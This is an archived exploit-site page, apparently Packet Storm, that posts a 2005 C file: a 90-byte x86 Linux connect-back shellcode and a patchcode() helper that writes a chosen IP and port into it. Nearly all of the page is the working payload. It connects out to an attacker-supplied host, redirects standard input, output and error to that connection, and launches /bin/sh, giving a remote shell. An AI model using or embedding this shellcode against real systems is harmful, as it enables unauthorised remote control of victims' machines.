exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

x86-linux-connect-back.c

x86-linux-connect-back.c
Posted Dec 31, 2005
Authored by Russell Sanford

90 byte connect back shellcode for Linux on x86.

tags | x86, shellcode
systems | linux
SHA-256 | 34677ae2cc62c081beeb6ed4432ef2371fd2e9b8491caa7d9d91e10a202353a1

x86-linux-connect-back.c

Change Mirror Download
/*---------------------------------------------------------------------------*
* 90 byte Connect Back shellcode *
* by Russell Sanford - xort@tty64.org *
*---------------------------------------------------------------------------*
* filename: x86-linux-connect-back.c *
* info: Compiled with DTP Project. *
* discription: This is a x86-linux connect back shellcode. Just invoke *
* the function patchcode() before using shellcode. The format *
* for invoking patchcode is as follows: *
* *
* patchcode(shellcode,"11.22.33.44",31337); *
*---------------------------------------------------------------------------*/

char shellcode[] =
"\x31\xc0\x6a\x01\x5b\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x43\x5f\x68"
" xor\x81\x04\x24t@tt\x68y64.\x81\x04\x24org \x6a\x10\x51\x50\x89\xe1\xb0\x66"
"\xcd\x80\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x31\xc0\x50"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80\xeb\xfe";

int find_safe_offset(int INT_A) {

int INT_B=0;

do {
INT_A -= 0x01010101; INT_B += 0x01010101;
}
while ( ((INT_A & 0x000000ff) == 0) ||
((INT_A & 0x0000ff00) == 0) ||
((INT_A & 0x00ff0000) == 0) ||
((INT_A & 0xff000000) == 0) );

return INT_B;
}

void patchcode(char *shellcode, char *IP, int PORT) {

int IP_A = inet_addr(IP);
int IP_B = find_safe_offset(IP_A);

int PORT_A = ((ntohs(PORT) << 16) + 2);
int PORT_B = find_safe_offset(PORT_A);

*(int *)&shellcode[19] = (IP_A - IP_B);
*(int *)&shellcode[26] = IP_B;

*(int *)&shellcode[31] = (PORT_A - PORT_B);
*(int *)&shellcode[38] = PORT_B;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close